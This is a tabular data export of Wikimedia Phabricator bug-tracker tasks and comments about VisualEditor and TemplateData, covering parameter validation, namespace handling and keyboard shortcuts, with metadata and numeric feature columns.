246773,VisualEditor: Thai Wikipedia's coordinates template displays badly in tables,"Not sure when, but this is now fixed, probably because of Ed's work on template wrapping.",,,1414165021,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-blwhpbgbhchhdkulxgr2,task_subcomment,,True,c1,3,True,,,68,,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,0.95,"Not sure when, but this is now fixed, probably because of Ed's work on template wrapping."
54651,VisualEditor: Transclusion dialog should validate template parameter values using TemplateData information,"If a parameter has '""type"": ""number""', VisualEditor should not allow the user to insert other kind of values. Alternativelly, it could just warn the user but still allow a value of the wrong type to be inserted.

This should not be restricted just to the ""number"" type. Other types would also benefity from some validation (e.g., if at some point we have a type ""string/image-name"", VE should check if the user provided the name of an existing image).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52652",Medium,50.0,1375969680,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-c65b3wdhn2onui4dnvcj,task_description,open,True,c1,3,False,False,,5,,1.5,0.0,0.0,1.0,1.0,2.5,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,7.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,1.5,1.5,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.5,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,7.0,2.0,0.5,8.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,1.5,7.0,1.5,0.0,5.5,0.0,1.5,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,3.5530303030303028,0.6363636363636364,"If a parameter has '""type"": ""number""', VisualEditor should not allow the user to insert other kind of values. Alternativelly, it could just warn the user but still allow a value of the wrong type to be inserted.

This should not be restricted just to the ""number"" type. Other types would also benefity from some validation (e.g., if at some point we have a type ""string/image-name"", VE should check if the user provided the name of an existing image).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
246685,VisualEditor: Transclusion dialog should validate template parameter values using TemplateData information,"I don't agree with restricting users from only entering content as the hinting suggests (the hinting may be wrong, or may restrict users too much) - this is the same reason why we allow users to add un-hinted parameters.

However, yes, we should definitely add this missing feature in soon.",,,1376115954,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c65b3wdhn2onui4dnvcj,task_subcomment,,True,c1,3,True,,,5,,2.0,0.0,0.0,0.0,2.0,8.0,3.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,5.0,2.0,13.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,5.0,3.0,3.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9672131147540983,0.7868852459016393,"I don't agree with restricting users from only entering content as the hinting suggests (the hinting may be wrong, or may restrict users too much) - this is the same reason why we allow users to add un-hinted parameters.

However, yes, we should definitely add this missing feature in soon."
54609,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","If you want to add a ""template"" that is not in the template namespace, for example: ""User:UBX""; VE will make an API request like: ""GET https://en.wikipedia.org/w/api.php?format=json&action=templatedata&titles=Template%3AUser%3AUBX"".

It should automatically detect that ""User:"" is a valid namespace, and not add the ""Template:"" prefix.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1375875780,1404157232.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,2.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,15.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,8.0,4.0,0.0,11.0,0.0,2.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4,0.5875,"If you want to add a ""template"" that is not in the template namespace, for example: ""User:UBX""; VE will make an API request like: ""GET URL

It should automatically detect that ""User:"" is a valid namespace, and not add the ""Template:"" prefix.

--------------------------
**Version**: unspecified
**Severity**: minor"
244218,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","Change 140875 merged by jenkins-bot:
Handle transcluding templates outside of the template namespace properly

https://gerrit.wikimedia.org/r/140875",,,1404157149,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,False,,,52,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.45,1.0,"Change 140875 merged by jenkins-bot:
Handle transcluding templates outside of the template namespace properly

GERRIT_URL"
244213,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","What Matt pointed out is handled correctly except for main namespace titles (e.g. :Foo), where the input widget trips over itself and you always end up with Template:Foo.",,,1403824833,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,11.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,4.085714285714285,0.9428571428571428,"What Matt pointed out is handled correctly except for main namespace titles (e.g. :Foo), where the input widget trips over itself and you always end up with Template:Foo."
244206,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","The commit says the purpose of the colon is ""to create a link to something that would normally be included as a File/Category"".

That's true, but it also plays a role in transclusion.  It's used to transclude things in the main namespace.

E.g. on English Wikipedia {{Main Page}} transcludes https://en.wikipedia.org/wiki/Template:Main_Page , whereas {{:Main Page}} transcludes https://en.wikipedia.org/wiki/Main_Page

For other namespaces (e.g. {{Wikipedia:Community Portal}} / {{:Wikipedia:Community Portal}} ), it works either way.

Full demo: https://en.wikipedia.org/w/index.php?title=User:Superm401/Sandbox&oldid=614564227

This may be handled somewhere (e.g. Parsoid), but it needs to be tested.",,,1403823029,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,True,,,51,,0.0,0.5,0.0,2.0,0.0,2.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,6.5,0.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,5.5,0.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,2.5,16.5,1.0,1.5,5.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.5,6.5,10.5,0.0,1.0,0.0,2.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,3.507575757575758,0.6742424242424242,"The commit says the purpose of the colon is ""to create a link to something that would normally be included as a File/Category"".

That's true, but it also plays a role in transclusion.  It's used to transclude things in the main namespace.

E.g. on English Wikipedia {{Main Page}} transcludes URL , whereas {{:Main Page}} transcludes URL

For other namespaces (e.g. {{Wikipedia:Community Portal}} / {{:Wikipedia:Community Portal}} ), it works either way.

Full demo: URL

This may be handled somewhere (e.g. Parsoid), but it needs to be tested."
244200,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","This was also hiding another problem (templates outside of the Template namespace ended up prefixed with ':', breaking them). This patch should fix that too (and hopefully not break any other link suggesting things).",,,1403224037,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,True,,,50,,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,12.0,7.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,4.255813953488372,0.8837209302325582,"This was also hiding another problem (templates outside of the Template namespace ended up prefixed with ':', breaking them). This patch should fix that too (and hopefully not break any other link suggesting things)."
244195,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","Change 140875 had a related patch set uploaded by Alex Monk:
Handle transcluding templates outside of the template namespace properly

https://gerrit.wikimedia.org/r/140875",,,1403223913,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,5.291666666666667,1.0,"Change 140875 had a related patch set uploaded by Alex Monk:
Handle transcluding templates outside of the template namespace properly

GERRIT_URL"
244188,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","(Okay, it's not as simple as I was hoping)",,,1403222822,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.6153846153846154,0.9230769230769231,"(Okay, it's not as simple as I was hoping)"
244181,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided",It looks like we can just pass the title to mw.Title.newFromText with mw.config.get( 'wgNamespaceIds' ).template as the (default) namespace.,,,1403221498,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,14.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,0.8214285714285714,It looks like we can just pass the title to mw.Title.newFromText with mw.config.get( 'wgNamespaceIds' ).template as the (default) namespace.
54599,VisualEditor: Get rid of IVStore check in toDomElements in GCNode subclasses,"Some toDomElements functions reach into the store, but they shouldn't and the check is redundant.
",Medium,50.0,1375853340,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-gx6k3eekkero53hloidz,task_description,open,True,c1,3,False,False,,5,,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.421052631578948,0.9473684210526315,"Some toDomElements functions reach into the store, but they shouldn't and the check is redundant.
"
54597,VisualEditor: Add keyboard shortcut for code element/style,"A keyboard shortcut for code would be helpful, particularly for MediaWiki.org.  We'll need to think of what to use.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1375852380,1410825475.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-gf6k4fuodiscgbllfhpa,task_description,resolved,True,c1,3,True,False,False,5,,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.7142857142857143,"A keyboard shortcut for code would be helpful, particularly for MediaWiki.org.  We'll need to think of what to use.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
243516,VisualEditor: Add keyboard shortcut for code element/style,Verified the fix in production,,,1411682734,,PHID-USER-24djtv3gj5gua2y6u2g5,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,Verified the fix in production
243510,VisualEditor: Add keyboard shortcut for code element/style,"Change 160174 merged by jenkins-bot:
Add keyboard shortcuts for strikethrough and code annotations

https://gerrit.wikimedia.org/r/160174",,,1410823312,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,False,,,63,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2105263157894735,1.0,"Change 160174 merged by jenkins-bot:
Add keyboard shortcuts for strikethrough and code annotations

GERRIT_URL"
243504,VisualEditor: Add keyboard shortcut for code element/style,"Change 160174 had a related patch set uploaded by Jforrester:
Add keyboard shortcuts for strikethrough and code annotations

https://gerrit.wikimedia.org/r/160174",,,1410570243,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,False,,,62,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.409090909090909,1.0,"Change 160174 had a related patch set uploaded by Jforrester:
Add keyboard shortcuts for strikethrough and code annotations

GERRIT_URL"
243500,VisualEditor: Add keyboard shortcut for code element/style,"**fred** wrote:

When is this planned? I was about to write that enhancement proposition as well when I saw this ticket.

My personal preference would be to have a shortcut near the ctrl tab on the left of the keyboard.",,,1385041001,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,10.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,14.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,8.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,10.0,0.0,2.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.64,0.8,"**fred** wrote:

When is this planned? I was about to write that enhancement proposition as well when I saw this ticket.

My personal preference would be to have a shortcut near the ctrl tab on the left of the keyboard."
243494,VisualEditor: Add keyboard shortcut for code element/style,"(In reply to comment #1)
> One possiblity is Ctrl-{.  It takes three key strokes on some keyboards, but
> it's memorable as long as it matches the toolbar icon, and not that hard to
> type.

We're almost certainly not going to keep '{}' for code (especially as there's <code> and <syntaxhighlight> that need to be distinguishable), but it's a possibility.",,,1375865906,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,6.0,0.0,2.0,2.0,2.0,0.0,7.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,4.0,11.0,6.0,0.0,4.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,6.0,3.3333333333333335,0.7592592592592593,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

We're almost certainly not going to keep '{}' for code (especially as there's <code> and <syntaxhighlight> that need to be distinguishable), but it's a possibility."
243486,VisualEditor: Add keyboard shortcut for code element/style,"One possiblity is Ctrl-{.  It takes three key strokes on some keyboards, but it's memorable as long as it matches the toolbar icon, and not that hard to type.",,,1375861847,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,True,,,5,,3.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,0.8888888888888888,"One possiblity is Ctrl-{.  It takes three key strokes on some keyboards, but it's memorable as long as it matches the toolbar icon, and not that hard to type."
54582,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Some templates use numbered arguments (see for example http://en.wikipedia.org/wiki/Module:Citation/CS1/Whitelist in the numbered_arguments list). For example, you can use author1, author2, ... (no limit).

Currently, there's no way to define such parameters in TemplateData, and the VE interface is not also optimal for them.

Would it be possible to handle numbered arguments in TemplateData: a parameter named author# would define a numbered parameter named author with a numerical suffix. It should be possible to define lower bound (1 by default) and upper bound (no limit by default).

Then VE should handle them accordingly: only propose the first parameter available in the list of parameters than can be added.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
{T53740}",Medium,50.0,1375805280,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,False,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_description,open,True,c1,3,False,False,,5,,0.5,0.0,0.0,0.5,0.5,7.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.0,0.0,4.5,8.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.5,1.0,1.0,0.5,0.5,0.0,0.0,0.0,0.5,1.5,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,0.0,1.0,6.0,0.0,0.0,0.0,0.5,6.5,0.0,1.0,0.0,2.5,8.0,3.0,0.0,0.0,0.0,2.5,0.0,0.0,1.5,1.0,0.0,0.5,0.0,0.0,4.0103131586871426,0.6686239084613068,"Some templates use numbered arguments (see for example URL in the numbered_arguments list). For example, you can use author1, author2, ... (no limit).

Currently, there's no way to define such parameters in TemplateData, and the VE interface is not also optimal for them.

Would it be possible to handle numbered arguments in TemplateData: a parameter named author# would define a numbered parameter named author with a numerical suffix. It should be possible to define lower bound (1 by default) and upper bound (no limit by default).

Then VE should handle them accordingly: only propose the first parameter available in the list of parameters than can be added.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
{T53740}"
2265038,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,We are currently only passively maintaining template wizard. See https://meta.wikimedia.org/wiki/Community_Tech/Maintenance for more.,,,1706108119,,PHID-USER-hc3d7yz5cqmafn4osucd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,551,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,4.785714285714286,0.9285714285714286,We are currently only passively maintaining template wizard. See URL for more.
